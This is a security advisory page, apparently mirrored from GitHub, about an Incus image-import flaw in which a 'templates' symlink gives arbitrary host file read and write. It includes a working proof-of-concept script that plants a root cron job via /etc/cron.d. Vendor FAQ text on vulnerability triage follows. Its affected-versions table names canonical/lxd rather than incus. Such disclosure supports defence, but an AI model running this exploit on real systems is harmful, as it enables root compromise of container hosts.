Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
For container images, internal/server/storage/utils.go calls
archive.Unpack(imageFile, destPath, ...). The tar extraction path in
shared/archive/archive.go excludes device nodes, but it does not
reject a top-level templates symlink.
In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.
Below, we map the templates directory to /etc/cron.d on the host, but
it can be mapped anywhere. We then create a cronjob to run id as root.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC templates symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink
incus config template ls afrw-image-templates-symlink
# read
#incus config template show afrw-image-templates-symlink $FILENAME
# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32
#incus config template edit afrw-image-templates-symlink poc
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
| Software | Affected versions |
|---|---|
github.com/canonical/lxd
|
< 0.0.0-20260203144152-d1c8ba15d160 |
A vulnerability database tells you what is broken. Attack surface management tells you where it is running: it discovers your internet-facing assets and flags the ones affected by issues like this one.
What is attack surface management? →A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.